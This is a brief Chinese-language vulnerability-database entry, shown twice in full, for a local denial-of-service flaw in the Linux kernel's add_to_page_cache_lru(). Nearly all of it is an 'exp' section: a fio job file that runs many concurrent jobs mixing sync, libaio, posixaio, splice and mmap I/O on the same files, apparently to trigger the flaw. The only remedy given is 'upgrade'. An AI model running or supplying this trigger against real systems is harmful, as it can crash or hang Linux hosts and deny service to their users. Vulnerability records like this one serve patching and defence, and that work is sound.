**## Linux Kernel 'add_to_page_cache_lru()'本地拒绝服务漏洞** ## 漏洞类型: 设计缺陷 ## exp: ``` [global] bs=8k iodepth=1024 iodepth_batch=60 randrepeat=1 size=1m directory=/home/oracle numjobs=20 [job1] ioengine=sync bs=1k direct=1 rw=randread filename=file1:file2 [job2] ioengine=libaio rw=randwrite direct=1 filename=file1:file2 [job3] bs=1k ioengine=posixaio rw=randwrite direct=1 filename=file1:file2 [job4] ioengine=splice direct=1 rw=randwrite filename=file1:file2 [job5] bs=1k ioengine=sync rw=randread filename=file1:file2 [job7] ioengine=libaio rw=randwrite filename=file1:file2 [job8] ioengine=posixaio rw=randwrite filename=file1:file2 [job9] ioengine=splice rw=randwrite filename=file1:file2 [job10] ioengine=mmap rw=randwrite bs=1k filename=file1:file2 [job11] ioengine=mmap rw=randwrite direct=1 filename=file1:file2 ``` ## 解决方案: 升级
**## Linux Kernel 'add_to_page_cache_lru()'本地拒绝服务漏洞** ## 漏洞类型: 设计缺陷 ## exp: ``` [global] bs=8k iodepth=1024 iodepth_batch=60 randrepeat=1 size=1m directory=/home/oracle numjobs=20 [job1] ioengine=sync bs=1k direct=1 rw=randread filename=file1:file2 [job2] ioengine=libaio rw=randwrite direct=1 filename=file1:file2 [job3] bs=1k ioengine=posixaio rw=randwrite direct=1 filename=file1:file2 [job4] ioengine=splice direct=1 rw=randwrite filename=file1:file2 [job5] bs=1k ioengine=sync rw=randread filename=file1:file2 [job7] ioengine=libaio rw=randwrite filename=file1:file2 [job8] ioengine=posixaio rw=randwrite filename=file1:file2 [job9] ioengine=splice rw=randwrite filename=file1:file2 [job10] ioengine=mmap rw=randwrite bs=1k filename=file1:file2 [job11] ioengine=mmap rw=randwrite direct=1 filename=file1:file2 ``` ## 解决方案: 升级